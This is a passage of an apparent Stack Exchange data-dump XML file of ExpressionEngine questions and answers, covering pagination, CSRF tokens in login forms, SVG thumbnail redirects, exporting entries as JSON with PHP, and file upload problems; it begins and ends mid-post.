&lt;code&gt;{exp:calendar:occurrences}&lt;/code&gt;). It's the only tag that will follow date/time ranges based on the chronological flow of events. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional useful info about these tags can be found here: &lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-12-11T01:37:25.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35007" PostTypeId="2" ParentId="20457" CreationDate="2015-12-11T02:34:11.047" Score="1" Body="&lt;p&gt;Try Gwcode categories and check if you get the results you are expecting.&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-12-11T02:34:11.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35008" PostTypeId="1" AcceptedAnswerId="35009" CreationDate="2015-12-11T11:15:17.870" Score="0" ViewCount="594" Body="&lt;p&gt;I'm using the native EE pagination and it's only showing the next two pages (i.e. 1, 2 &amp;amp; 3) when there's actually 4 pages. Once you go to page two it then shows all numbers (1,2,3 &amp;amp; 4) but I'd like it to show all pages all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    &amp;lt;div class=&quot;top-strip subtle pagination actual_pagination&quot;&amp;gt;&#xA;        {pagination_links}&#xA;            &amp;lt;h3&amp;gt;&amp;lt;span class=&quot;page-label&quot;&amp;gt;Page:&amp;lt;/span&amp;gt;&#xA;                {page}&#xA;                    &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}current{/if} pagination-button&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                {/page}&#xA;            &amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h3 class=&quot;right&quot;&amp;gt;&#xA;                {first_page}&#xA;                    &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first pagination-button&quot;&amp;gt;First&amp;lt;/a&amp;gt;&#xA;                {/first_page}&#xA;                {previous_page}&#xA;                    &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous pagination-button&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;&#xA;                {/previous_page}&#xA;                {next_page}&#xA;                    &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next pagination-button&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;                {/next_page}&#xA;                {last_page}&#xA;                    &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last pagination-button&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;                {/last_page}&#xA;            &amp;lt;/h3&amp;gt;&#xA;        {/pagination_links}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /end #top-strip --&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2015-12-11T15:16:29.203" Title="How to show all pagination pages, not just next two pages" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35009" PostTypeId="2" ParentId="35008" CreationDate="2015-12-11T15:09:44.360" Score="4" Body="&lt;p&gt;You want to mosey on over to &lt;code&gt;page_padding&lt;/code&gt; land.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/v2/templates/pagination.html#id3&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/templates/pagination.html#id3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pagination_links page_padding=&quot;10&quot;}&#xA;&#xA;{/pagination_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show up to 10 page numbers on either side of the current page in the pagination links.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-11T15:09:44.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35011" PostTypeId="2" ParentId="31920" CreationDate="2015-12-11T15:40:10.303" Score="0" Body="&lt;p&gt;i've done something similar to this before, though a bit different,  test something like this using the &lt;a href=&quot;https://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;speakers&quot; style=&quot;linear&quot; backspace=&quot;7&quot;}&#xA;{switch=&quot;&amp;lt;ul class='list-unstyled'&amp;gt;|||||&quot;}{!-- open a new &amp;lt;ul&amp;gt; at intervals of 6 entries --}&#xA;&amp;lt;li&amp;gt;&#xA;{categories}&amp;lt;a href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;{/categories} &#xA;{entry_titles}  &#xA;&amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt; &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;  &#xA;{/entry_titles}     &#xA;&amp;lt;/li&amp;gt;  &#xA;{if count != total_results}{switch=&quot;|||||&amp;lt;/ul&amp;gt;&quot;}{/if} {!-- close the &amp;lt;/ul&amp;gt; at intervals of 6 as long as the current entry is not the last in the loop --}&#xA;{if count == total_results}&amp;lt;/ul&amp;gt;{/if} {!-- always close the open &amp;lt;/ul&amp;gt; after the last entry --}&#xA;{/exp:channel:category_archive} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps?&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-12-11T15:40:10.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35012" PostTypeId="2" ParentId="35004" CreationDate="2015-12-11T15:42:42.667" Score="1" Body="&lt;p&gt;CodeIgniter controllers and ExpressionEngine template groups are analogous in function but not in implementation. In this case, your template &lt;code&gt;CheckLogin&lt;/code&gt; is being called without having to write a controller in between (EE does that for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you wouldn't need to write a class structure at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of how you'd grab those data points from a POST submission to your &lt;code&gt;CheckLogin&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$login_name = ee()-&amp;gt;input-&amp;gt;post(&quot;username&quot;);&#xA;$login_pass = ee()-&amp;gt;input-&amp;gt;post(&quot;password&quot;);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;login/index&lt;/code&gt; file, do note that you need to add a &lt;code&gt;{csrf_token}&lt;/code&gt; to your form, otherwise EE's core security class will bounce the POST request with the exact error you're getting; the form is stale because either it has no token or an old token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/development/guidelines/security.html#csrf-tokens-in-templates&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/development/guidelines/security.html#csrf-tokens-in-templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now at this point, it begs a serious question: Why aren't you using ExpressionEngine's native member utilities for users/sessions/login/logout... do you need to integrate with a separate service? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Yuri said, if you expand on what you're trying to accomplish, our community can help you much better.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-11T15:42:42.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35013" PostTypeId="2" ParentId="35004" CreationDate="2015-12-11T19:02:35.287" Score="0" Body="&lt;p&gt;I have changed the a few things this is what I have so far &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my login template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;Login Screen &amp;lt;/title&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css&quot; integrity=&quot;sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-2&quot;&amp;gt;&#xA;                        &amp;lt;form class=&quot;form-horizontal&quot; action='controllers/Login' method=&quot;POST&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;                          &amp;lt;fieldset&amp;gt;&#xA;                            &amp;lt;div id=&quot;legend&quot;&amp;gt;&#xA;                              &amp;lt;legend class=&quot;&quot;&amp;gt;Login&amp;lt;/legend&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Username --&amp;gt;&#xA;                              &amp;lt;label c for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;username&quot; name=&quot;username&quot; placeholder=&quot;&quot; class=&quot;form-control input-xlarge &quot;&amp;gt;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Password--&amp;gt;&#xA;                              &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;&quot; class=&quot;form-control input-xlarge&quot;&amp;gt;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Button --&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input name=&quot;submit&quot; class=&quot;btn btn-success&quot; type=&quot;submit&quot; value=&quot; Login &quot;&amp;gt;&#xA;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                          &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;/form&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My admin controller -- is a default controller as well &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;include('ee.php');&#xA;&#xA;class AdminController extends EE_Controller {&#xA;&#xA;    function __construct()&#xA;    {&#xA;         // parent::Controller();&#xA;         // parent::CI_Controller();&#xA;         parent::__construct();&#xA;&#xA;         // Initialize ExpressionEngine objects&#xA;            $this-&amp;gt;EE = $this-&amp;gt;core-&amp;gt;EE;&#xA;            // get EE's template library&#xA;            $this-&amp;gt;EE-&amp;gt;TMPL = $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('template');&#xA;    }&#xA;&#xA;    function index()&#xA;    {&#xA;        // echo 'hi there';&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL = new EE_Template();&#xA;&#xA;        //pick our template&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;run_template_engine('login', 'index');&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a login controller which extends admin controller - basically this will get the input from the ee-&gt; login template and send them to this controller where I can send it to the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Login extends AdminController {&#xA;&#xA;    function Login(){&#xA;        $loginVar = new LoginFunctions; &#xA;        $loginInfo = $loginfun-&amp;gt; ConvioAPICall($loginVar-&amp;gt;name = ee()-&amp;gt;input-&amp;gt;post(&quot;username&quot;);, $loginVar-&amp;gt; password = ee()-&amp;gt;input-&amp;gt;post(&quot;password&quot;), 'SRConsAPI_login');&#xA;        $groupInfo = $loginfun-&amp;gt; ConvioAPICall($loginVar-&amp;gt;name = ee()-&amp;gt;input-&amp;gt;post(&quot;username&quot;), $loginVar-&amp;gt; password = ee()-&amp;gt;input-&amp;gt;post(&quot;password&quot;), 'SRConsAPI_getUserGroups');&#xA;&#xA;        print_r($loginInfo);&#xA;&#xA;        if ($loginfun-&amp;gt; validateUser( $loginInfo, $groupInfo))&#xA;        {&#xA;&#xA;            echo 'good';&#xA;        }else{&#xA;            echo 'bad';&#xA;&#xA;        }&#xA;&#xA;    //  $loginfun-&amp;gt; decodestring($loginfun-&amp;gt; jsonString = $userInfo);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I still unable to send the username and password to login controller. Error message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The requested URL /login/controllers/Login was not found on this&#xA;  server. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm I doing this right? Or should I create a module which will collect the login info and send an API call function?&lt;/p&gt;&#xA;" OwnerUserId="6884" LastEditorUserId="6884" LastEditDate="2015-12-11T21:08:30.317" LastActivityDate="2015-12-11T21:08:30.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35014" PostTypeId="2" ParentId="35004" CreationDate="2015-12-11T19:43:05.733" Score="0" Body="&lt;p&gt;It look to me that you are trying to perform some actions (call to your API) when user logs in to EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not re-write EE controllers if you want to perform custom actions. While in theory you can do it, you'll spend a lot more time with much less profit then if you go EE way, which is writing an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly, you need an extension based on one of these hooks: &lt;a href=&quot;https://docs.expressionengine.com/v2/development/extension_hooks/module/member_auth/index.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/development/extension_hooks/module/member_auth/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-12-11T19:43:05.733" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35015" PostTypeId="1" AcceptedAnswerId="35068" CreationDate="2015-12-11T20:25:08.287" Score="0" ViewCount="90" Body="&lt;p&gt;When working with SVGs in the control panel, thumbnails are broken because the system (understandably) can't generate thumbnails for SVGs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice this is mostly fine because the SVGs still work properly elsewhere, but it's annoying to look at a broken thumbnails and to not be able to preview the image you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought would be to use htaccess to redirect any request that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets_content/_thumbs/logo.svg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets_content/logo.svg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would that redirect look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would require a little extra CSS to make sure the SVGs don't bust out of their containers, but that should be pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, here's the first draft of the CSS I'm adding for SVG thumbnails. It tries to manage the width and adds a checkerboard background (so you can see all-white images):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.publish_field .filename img[src$=&quot;.svg&quot;] {&#xA;   width: 100px;&#xA;   max-width: 100%;&#xA;   padding: 12px;&#xA;   background-color: rgba(0,0,0,.05);&#xA;   background-image: linear-gradient(45deg, rgba(0,0,0,.05) 25%, transparent 25%, transparent 75%, rgba(0,0,0,.05) 75%, rgba(0,0,0,.05)),&#xA;   linear-gradient(45deg, rgba(0,0,0,.05) 25%, transparent 25%, transparent 75%, rgba(0,0,0,.05) 75%, rgba(0,0,0,.05));&#xA;   background-size: 40px 40px;&#xA;   background-position: 0 0, 20px 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2015-12-17T03:56:11.103" LastActivityDate="2015-12-17T03:56:11.103" Title="Redirecting requests for SVG thumbnails?" Tags="|control-panel|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35016" PostTypeId="1" CreationDate="2015-12-11T22:09:14.817" Score="0" ViewCount="28" Body="&lt;p&gt;I finally managed to get Favorites to show on my page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been testing the adding favorites function on a test page, but I keep on getting the &quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I currently have the Favorites set up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;!-- ADD a Favorite --&amp;gt;&#xA;            {if favorites:no_results}&#xA;&#xA;                    {exp:favorites:form&#xA;                            {segment_3}_id=&quot;{segment_4}&quot;&#xA;                            return=&quot;{path='favorites_inc/favorites_info_ajax/{segment_3}/{segment_4}'}&quot;&#xA;                            error_page=&quot;{path='favorites_inc/error_ajax'}&quot;&#xA;                        }&#xA;                         &amp;lt;p&amp;gt;Favorite this to&#xA;                            &amp;lt;select name=&quot;collection&quot; class=&quot;form-control input-sm&quot;&amp;gt;&#xA;                                {favorites:collections}&#xA;                                    &amp;lt;option value=&quot;{favorites:collection}&quot;&amp;gt;&#xA;                                {favorites:collection}&#xA;                                    &amp;lt;/option&amp;gt;&#xA;                                {/favorites:collections}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                                &amp;lt;button type=&quot;submit&quot; class=&quot;fa fa-heart fa-lg&quot; style=&quot;margin-top:-0.25em;&quot;&amp;gt; &amp;lt;span style=&quot;color:#444;&quot;&amp;gt;add&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;                    {/exp:favorites:form}&#xA;                        &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;                {/exp:favorites:info}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently using:&#xA;EE ver 2.8.1.&#xA;Favorites ver 4.0.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3787" LastEditorUserId="3787" LastEditDate="2015-12-14T15:38:14.103" LastActivityDate="2015-12-14T15:38:14.103" Title="Favorites Adding Error" Tags="|solspace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35017" PostTypeId="1" AcceptedAnswerId="35018" CreationDate="2015-12-12T00:41:34.637" Score="1" ViewCount="108" Body="&lt;h2&gt;&lt;strong&gt;(See my 'solution' at bottom of this question.)&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;Disclaimer: I'm new to EE; I inherited a system and am looking to be able to extract entries.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to create a template to extract entries in JSON format. This is what I've got so far:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $entries = array();&#xA;&#xA;  {exp:channel:entries channel=&amp;quot;blog&amp;quot; limit=&amp;quot;1&amp;quot; dynamic=&amp;quot;no&amp;quot;}&#xA;    $entries[] = array('title' =&amp;gt; '{title}', 'author' =&amp;gt; '{author}', 'body'=&amp;gt;'{exp:allow_eecode embed=&amp;quot;y&amp;quot;}{blog_body}{/exp:allow_eecode}');&#xA;  {/exp:channel:entries}&#xA;&#xA;  header('Content-type: application/json');&#xA;  echo json_encode($entries);&#xA;  exit;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've enabled PHP, set the PHP parsing stage to Output. This mostly works, except one field doesn't render correctly; it has &lt;code&gt;embed&lt;/code&gt; EE tags in the field data on output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;  {&#xA;    &amp;quot;title&amp;quot;: &amp;quot;9 Gorgeous Wedding Color Palettes for Autumn&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;WeddingExpert&amp;quot;,&#xA;    &amp;quot;body&amp;quot;: &amp;quot;{embed=\&amp;quot;photos\/_embedded\&amp;quot; entry_id=\&amp;quot;50808\&amp;quot; context_channel=\&amp;quot;blog\&amp;quot; }\n&amp;lt;p&amp;gt;\n\tIn keeping with our ...&amp;quot;&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I do not use the &lt;code&gt;allow_eecode&lt;/code&gt; tag, then the output shows the html entity codes for braces, etc. If I turn off PHP, I can get the output for the problematic field to render 'correctly', but then I get the PHP code rendered as HTML - ie it doesn't render the JSON I need, obviously.&lt;/p&gt;&#xA;&lt;p&gt;Is there a reason why PHP is preventing this from working? Is there another approach I should take?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note: This is on an old version of EE: v2.1.3. I don't have the luxury of upgrading; I'm basically retiring this system once the data is extracted.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I made two changes: I removed the PHP &lt;code&gt;exit()&lt;/code&gt; call and changed the Template Type to 'Javascript' from 'Web Page'. Here's the template now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $entries = array();&#xA;&#xA;  {exp:channel:entries channel=&amp;quot;blog&amp;quot; limit=&amp;quot;1&amp;quot; dynamic=&amp;quot;no&amp;quot;}&#xA;    $entries[] = array('title' =&amp;gt; '{title}', 'author' =&amp;gt; '{author}', 'body'=&amp;gt;'{exp:allow_eecode embed=&amp;quot;y&amp;quot;}{blog_body}{/exp:allow_eecode}');&#xA;  {/exp:channel:entries}&#xA;&#xA;  header('Content-type: application/json');&#xA;  echo json_encode($entries);&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and here is the output, which is slightly different (no &lt;code&gt;embed&lt;/code&gt; tag visible, but it also didn't render the &lt;code&gt;embed&lt;/code&gt; tag!):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;  {&#xA;    &amp;quot;title&amp;quot;: &amp;quot;9 Gorgeous Wedding Color Palettes for Autumn&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;Azure&amp;quot;,&#xA;    &amp;quot;body&amp;quot;: &amp;quot;\n&amp;lt;p&amp;gt;\n\tIn keeping with our ...&amp;quot;&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, now I'm even more confused.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution: As pointed out by Derek Hogue, there is no JSON solution due to the order of the EE rendering pipeline.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;That having been said, as I need to migrate the data out and in my case it doesn't need to be in JSON format, I can simply change my template to have a consistent layout per entry and then I can parse it using any language I desire. For example with this template, I can get Entry data in a parseable format:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;quot;blog&amp;quot; limit=&amp;quot;5&amp;quot; dynamic=&amp;quot;no&amp;quot;}&#xA;ONEWEDMIGRATION-TITLE:{title}&#xA;ONEWEDMIGRATION-AUTHOR:{author}&#xA;ONEWEDMIGRATION-BODY:{exp:allow_eecode embed=&amp;quot;y&amp;quot;}{blog_body}{/exp:allow_eecode}&#xA;&amp;lt;======================&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can split the data on &lt;code&gt;&amp;lt;======================&amp;gt;&lt;/code&gt; to get a list of Entries, and then parse each Entry based on the tokens at the beginning of lines.&lt;/p&gt;&#xA;&lt;p&gt;This is simplistic and would need to be further developed for multiline fields, etc. But the idea is sound.&lt;/p&gt;&#xA;" OwnerUserId="6915" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-12-13T23:07:27.193" Title="PHP interfering with entry field embed rendering?" Tags="|ee2|export|json|allow-eecode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35018" PostTypeId="2" ParentId="35017" CreationDate="2015-12-12T18:50:49.123" Score="1" Body="&lt;p&gt;You're not doing anything wrong here - you've just encountered a limitation of the &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;template engine&lt;/a&gt;. If you read through the parse order in that link, you'll see that embedded templates are processed &lt;em&gt;after&lt;/em&gt; PHP on output it processed - meaning that you cannot include the parsed contents of an embedded template inside of PHP output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are a lot of these embeds inside of the content then that's an issue - but if they're rare maybe you could excise and deal with them separately in the migration?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-12T18:50:49.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35019" PostTypeId="1" CreationDate="2015-12-12T20:39:45.340" Score="0" ViewCount="102" Body="&lt;p&gt;I have an expresso store that we've set up with a &quot;Buy x get y discount&quot;. But it's not working as expected as it only works if you buy multiples of the same product. This is not really useful, it needs to apply to all the products selected for that promo code.&lt;/p&gt;&#xA;" OwnerUserId="6727" LastEditorUserId="425" LastEditDate="2015-12-14T13:32:11.457" LastActivityDate="2016-04-17T03:09:35.030" Title="Buy X Get Y for different products in a category" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35020" PostTypeId="1" CreationDate="2015-12-13T07:35:37.203" Score="3" ViewCount="89" Body="&lt;p&gt;I must have at some point manually deleted images via FTP in my image file directories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file manager, even after 'syncing' the directory, those files that no longer exist are still displayed. If I try to delete the rows, it shows an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File /var/sites/domain.com/public_html/images/uploads/galleries/filename.jpg does not exist.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I remove these? &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2019-01-01T13:18:26.693" Title="Files displaying in File Manager even though they don't exist" Tags="|file-manager|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35022" PostTypeId="1" AcceptedAnswerId="38204" CreationDate="2015-12-13T16:59:55.693" Score="1" ViewCount="178" Body="&lt;p&gt;&lt;strong&gt;here's the problem (edit):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to upload some mp3s through the publish page or the file manager, whereas other mp3s would upload just fine. Now, thanks to the assistance of a support person at the host (Nexcess), I've found that the mp3's that don't work didn't have all the encoding they need, and the mp3's that &lt;em&gt;did&lt;/em&gt; work had the encoding, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mp3's that were working look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$ file /dev/audio-upload/*.mp3&#xA;example01.mp3: Audio file with ID3 version 2.2.0, contains: MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo&#xA;example02.mp3: Audio file with ID3 version 2.2.0, contains: MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo&#xA;example03.mp3: Audio file with ID3 version 2.2.0, contains: MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, Stereo&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mp3's that weren't working look like this (they're missing the encoding info):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$ file /dev/mp3s-for-eval/*.mp3&#xA;example01.mp3: Audio file with ID3 version 2.2.0, contains:&#xA;example02.mp3: Audio file with ID3 version 2.2.0, contains:&#xA;example03.mp3: Audio file with ID3 version 2.2.0, 